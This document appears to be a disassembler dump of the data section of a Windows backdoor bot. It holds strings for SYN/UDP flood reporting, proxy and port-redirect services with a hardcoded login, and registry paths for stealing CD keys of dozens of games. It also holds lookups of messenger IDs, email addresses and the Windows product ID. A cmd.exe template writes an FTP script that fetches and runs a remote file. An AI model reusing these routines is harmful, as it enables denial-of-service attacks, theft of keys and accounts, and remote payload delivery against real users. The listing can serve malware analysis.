		align 4
		dd 0
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
		align 4
		dd 0
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
		align 8
aSyn		db 'syn',0              ; DATA XREF: sub_4281A0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
		align 8
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
		align 10h
		dd 0
aUdp		db 'udp',0              ; DATA XREF: sub_428880+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_428940+C0o
		align 4
		dd 0
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
		align 4
		dd 0
off_446F0C	dd offset byte_455247	; DATA XREF: sub_4290B0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+AAo
		align 10h
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_429330+33o
		align 10h
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 4
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
		db 0Dh,0Ah,0
		align 10h
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
					; ___:0042A147o
		align 8
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
					; ___:0042A129o
		align 8
aConnection	db 'Connection:',0      ; DATA XREF: ___:00429F54o
		align 8
aChunked	db 'chunked',0          ; DATA XREF: ___:00429F11o
		dd 0
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
		align 4
		dd 0
aContentLength	db 'Content-Length:',0  ; DATA XREF: ___:00429E2Do
		align 10h
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C8Eo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: ___:00429C59o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 10h
		dd 0
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: ___:loc_429B5Bo
					; ___:00429FA0o
		align 10h
		dd 0
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
		align 4
		dd 0
asc_4471FC	db 0Dh,0Ah,0		; DATA XREF: ___:00429A1Co
					; ___:00429ADCo ...
		align 10h
aHttprox	db 'HTTPROX',0          ; DATA XREF: ___:004299E7o
		dd 0
aConnect	db 'connect',0          ; DATA XREF: ___:004297B2o
		align 8
aConnect_0	db 'CONNECT',0          ; DATA XREF: ___:0042977Do
		dd 0
off_447224	dd offset byte_544547	; DATA XREF: ___:004296B8o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_42ACB0+22o
		align 10h
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
		align 10h
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
		dd 2 dup(0)
aSocks4		db 'Socks4',0           ; DATA XREF: sub_42AFF0+22o
					; sub_42B380+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
		align 10h
		dd 0
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
		align 4
		dd 2 dup(0)
dword_447304	dd 1000005h, 0	dword_44730C	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42CB70+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42CB70+3Fo
		align 10h
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042D725o
		dd 3 dup(0)
aRoot		db 'root',0             ; DATA XREF: ___:0042D6B1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004473D4o
		align 10h
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 10h
		dd 0
aCalloc		db 'calloc',0
		align 4
aSetsockopt	db 'setsockopt',0
		align 4
		dd 0
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42DB00+49o
					; sub_42DB00:loc_42DBBDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_42DF40:loc_42E0DCo
		align 10h
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42E3C0+72o
		dd 0
aUserS		db 'USER %s',0          ; DATA XREF: sub_42E3C0+3Do
		align 8
aWrite		db 'write',0
		align 10h
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
		align 10h
dword_4474B0	dd 524F5453h	byte_4474B4	db 0			; DATA XREF: sub_42E5B0+EDr
		align 4
dword_4474B8	dd 52544552h	byte_4474BC	db 0			; DATA XREF: sub_42E5B0+D3r
		align 10h
dword_4474C0	dd 5453494Ch	byte_4474C4	db 0			; DATA XREF: sub_42E5B0+B8r
		align 4
dword_4474C8	dd 54534C4Eh	byte_4474CC	db 0			; DATA XREF: sub_42E5B0+9Er
		align 10h
dword_4474D0	dd 45505954h, 632520h, 0					; ___:0042F9BAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42E5B0+2Do
		align 10h
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 4
		dd 0
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 4
aGetsockname	db 'getsockname',0
		dd 0
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo
		align 10h
		dd 0
aPasv		db 'PASV',0             ; DATA XREF: sub_42E870+B4o
		align 4
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o
		align 10h
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o
		align 4
		dd 0
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 10h
		dd 0
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 4
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo
		align 4
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo
		align 4
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042F3CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: ___:0042F42Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042F4BEo
		align 10h
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042F53Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042F597o
		align 10h
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042F5EEo
		align 4
off_447688	dd offset aSendtoSocketFa+18h ;	DATA XREF: ___:0042F64Do
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42F6F0:loc_42F871o
		align 10h
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o
		align 8
word_4476C8	dw 77h			; DATA XREF: sub_42F6F0+1Fr
		align 4
dword_4476CC	dd 25206425h, 64hdword_4476D4	dd 455A4953h, 732520h, 0dword_4476E0	dd 4D54444Dh, 732520h, 0dword_4476EC	dd 4F544E52h, 732520h, 0dword_4476F8	dd 52464E52h, 732520h, 0dword_447704	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42FD30+10o
		align 4
dword_447718	dd 1							; sub_431750+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o
		align 4
		dd 0
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_432570+6o
		align 4
aA:					; DATA XREF: sub_434D10+36o
		unicode	0, <€>,0
		dd 12h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44886Ch, 448F40h,	448838h, 80000002h, 4487D8h
		dd 448F40h, 4487A8h, 80000002h,	448750h, 448F40h, 44872Ch
		dd 80000002h, 4486E4h, 448F40h,	4486CCh, 80000002h, 448688h
		dd 448F40h, 448660h, 80000002h,	448624h, 448F40h, 4485F0h
		dd 80000002h, 448590h, 448F40h,	448564h, 80000002h, 448540h
		dd 448538h, 44850Ch, 80000002h,	4484E4h, 448538h, 4484CCh
		dd 80000001h, 44849Ch, 448498h,	448488h, 80000002h, 44844Ch
		dd 448F40h, 44843Ch, 80000002h,	448400h, 448F40h, 4483ECh
		dd 80000002h, 4483A4h, 448F40h,	448388h, 80000002h, 448344h
		dd 448F40h, 448328h, 80000001h,	448300h, 448498h, 4482F0h
		dd 80000001h, 4482C8h, 448498h,	4482A8h, 80000002h, 44826Ch
		dd 448268h, 44824Ch, 80000002h,	448228h, 448220h, 448208h
		dd 80000001h, 4481DCh, 4481D4h,	4481B0h, 80000002h, 448164h
		dd 448F40h, 44813Ch, 80000002h,	4480E8h, 448F40h, 4480B0h
		dd 80000002h, 44804Ch, 448F40h,	448018h, 80000002h, 447FB8h
		dd 448F40h, 447F9Ch, 80000002h,	447F54h, 448F40h, 447F38h
		dd 80000002h, 447EF0h, 448F40h,	447EE0h, 80000002h, 447EA4h
		dd 448F40h, 447E94h, 80000002h,	447E58h, 448F40h, 447E30h
		dd 80000002h, 447DDCh, 448F40h,	447DB4h, 80000002h, 447D64h
		dd 448F40h, 447D48h, 80000002h,	447D20h, 448498h, 447D0Ch
		dd 80000002h, 447CD4h, 448F40h,	447CA4h, 80000002h, 447C4Ch
		dd 448F40h, 447C30h, 80000001h,	447BE0h, 447BD8h, 447BBCh
		dd 80000002h, 447B78h, 447B6Ch,	447B54h, 80000001h, 447B24h
		dd 447B18h, 447AF8h, 80000002h,	447ABCh, 447BD8h, 447A9Ch
		dd 80000002h, 447A60h, 447BD8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_19	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447798o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:004362A4o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00436268o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao
		align 10h
		dd 0
dword_448904	dd 3A6D6961h, 732520h, 0dword_448910	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:0043616Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_448A44	dd 3A6E736Dh, 732520h, 0dword_448A50	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:00436737o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_4369E0+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_4369E0+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_4369E0+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_4369E0+3BBo
		align 4


loc_448B7C:				; DATA XREF: sub_4369E0+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_448B87:				; DATA XREF: sub_4369E0+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B93:				; DATA XREF: sub_4369E0+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_448B9F:				; DATA XREF: ___:004371A6o
					; ___:00437400o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_448BB0:				; CODE XREF: ___:00448BB5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_448BB0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:0043762Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_448CA0	dd offset off_43F1D4	; DATA XREF: ___:off_43F318o
					; ___:0043F354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Fh dup(0)
byte_448F40	db 0			; DATA XREF: sub_403530+95o
					; sub_404690+200o ...
		align 4
dword_448F44	dd 0							; sub_4246D0+11o ...
dword_448F48	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D4BFr ...
		align 10h
dword_448F50	dd 0							; ___:0040D425w ...
		dd 8 dup(0)
dword_448F74	dd 41h dup(0)						; ___:0040D460o ...
dword_449078	dd 0							; ___:loc_40D4B4r ...
dword_44907C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D42Fr ...
dword_449080	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D660+CAw
dword_449084	dd 0							; sub_40D660+E3r
		dd 11h dup(0)
dword_4490CC	dd 0							; sub_410030+47Dr
dword_4490D0	dd 0							; sub_410030+515r ...
dword_4490D4	dd 0							; sub_410030+655r ...
dword_4490D8	dd 0							; sub_410030+B79r ...
dword_4490DC	dd 0							; sub_410030+74Br
dword_4490E0	dd 0							; sub_410030+828r
dword_4490E4	dd 0							; sub_410030+77Cr
dword_4490E8	dd 0							; sub_410030+4DDr ...
dword_4490EC	dd 0							; sub_410030+311r
dword_4490F0	dd 0							; sub_410030+34Dr ...
dword_4490F4	dd 0							; sub_410030+33Dr
dword_4490F8	dd 0							; sub_410030+3D2r
dword_4490FC	dd 0							; sub_410030+E93r
dword_449100	dd 0							; sub_410030+1220r ...
dword_449104	dd 0							; sub_4120B0+4DAr
dword_449108	dd 0							; sub_410030+683r
dword_44910C	dd 0							; sub_410030+6B5r
dword_449110	dd 0							; sub_410030+1252r
		dd 5 dup(0)
dword_449128	dd 10h dup(0)						; ___:004040AFo ...
		db 2 dup(0)
byte_44916A	db 0			; DATA XREF: sub_409B10r sub_409B80r
		align 4
		db 3 dup(0)
byte_44916F	db 0			; DATA XREF: sub_40D660+10Fr
		db 0
byte_449171	db 0			; DATA XREF: sub_40DBF0r
word_449172	dw 0			; DATA XREF: sub_40DBF0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_449287	db 0			; DATA XREF: ___:00412F9Ao
					; ___:0041304Fo ...
		db 3 dup(0)
byte_44928B	db 0			; DATA XREF: sub_41F960:loc_41F99Dr
		align 10h
dword_449290	dd 12h dup(0)						; sub_410030+114o
		db 0
byte_4492D9	db 3 dup(0)		; DATA XREF: ___:00408BA1o
					; sub_410030+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_449322	dw 0			; DATA XREF: ___:00408B78o
					; sub_410030+132o
		dd 6 dup(0)
word_44933C	dw 0			; DATA XREF: sub_410030+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44936B	db 0			; DATA XREF: ___:00408BCAo
					; sub_410030+17Co ...
		dd 12h dup(0)
dword_4493B4	dd 12h dup(0)						; sub_410030+F7o ...
		db 0
byte_4493FD	db 3 dup(0)		; DATA XREF: ___:00408B03o
					; sub_410030+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44948F	db 0			; DATA XREF: ___:00408BF3o
					; sub_410030+19Ao
		dd 24h dup(0)
		db 0
byte_449521	db 3 dup(0)		; DATA XREF: sub_425100+2Bo
					; sub_425100+37o ...
		dd 11h dup(0)
		db 2 dup(0)
word_44956A	dw 0			; DATA XREF: ___:00412F6Ao
					; ___:00412F89o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44965F	dd 0							; sub_41F030+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_449739	db 0			; DATA XREF: sub_41BA50+18r
		align 4
		dd 36h dup(0)
byte_449814	db 0			; DATA XREF: sub_410030+842r
		align 4
		dd 0Bh dup(0)
dword_449844	dd 18h dup(0)						; sub_40EE40+97o ...
		db 2 dup(0)
byte_4498A6	db 0			; DATA XREF: sub_404CC0+258r
					; sub_41D930+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4498EF	db 0			; DATA XREF: sub_404CC0:loc_404F30r
					; sub_41D930:loc_41DFB6r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44991F	db 0			; DATA XREF: sub_404CC0+279o
					; sub_41D930+68Fo ...
		dd 12h dup(0)
dword_449968	dd 2Bh dup(0)						; sub_41F030+630o ...
dword_449A14	dd 0				dd 11h dup(0)
		db 0
dword_449A5D	dd 0				align 4
		dd 0D9h	dup(0)
byte_449DC8	db 0			; DATA XREF: sub_41F030+146r
					; sub_41F030+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_44AC6E	dw 0			; DATA XREF: sub_404690+1BDo
					; sub_404B60+31o ...
		db 2 dup(0)
word_44AC72	dw 0			; DATA XREF: sub_404B60+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_44ACE6	dw 0			; DATA XREF: sub_4076B0+36o
					; sub_407740+3Eo ...
		dd 26h dup(0)
dword_44AD80	dd 86h dup(0)						; sub_404CC0+27Eo ...
		db 3 dup(0)
byte_44AF9B	db 0			; DATA XREF: sub_426930+3Bw
					; sub_4269A0+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44B19B	dd 0							; sub_4269A0+4Fw ...
dword_44B19F	dd 0							; ___:0042419Dw ...
dword_44B1A3	dd 0							; sub_4269A0+5Dr ...
dword_44B1A7	dd 0							; sub_4269A0+8Cr ...
dword_44B1AB	dd 0							; sub_4269A0+9Dr
dword_44B1AF	dd 0							; ___:004241D1r ...
byte_44B1B3	db 0			; DATA XREF: sub_426930+42w
					; sub_4269A0+85w
dword_44B1B4	dd 2824h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_446F0Co
		dd 0EB85h dup(0)
dword_49005C	dd 0BD23h dup(0)		db 0
byte_4BF4E9	db 3 dup(0)		; DATA XREF: ___:off_402027o
		dd 53D8h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_445324o
		dd 0ED2h dup(0)
		db 3 dup(0)
dword_4D7F9B	dd 0							; sub_426BD0+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D8085	db 3 dup(0)		; DATA XREF: sub_404C70+1Eo
					; sub_404CC0+65o ...
		dd 5 dup(0)
byte_4D809C	db 0			; DATA XREF: sub_404CC0+292w
					; sub_404CC0+4EBw
dword_4D809D	dd 0							; sub_422B40:loc_4232C4r ...
		align 4
		dd 0
		db 0
dword_4D80A9	dd 0							; sub_404C70+2Aw
byte_4D80AD	db 3 dup(0)		; DATA XREF: ___:00412FC4o
					; ___:00412FE7o
		dd 9 dup(0)
		db 3 dup(0)
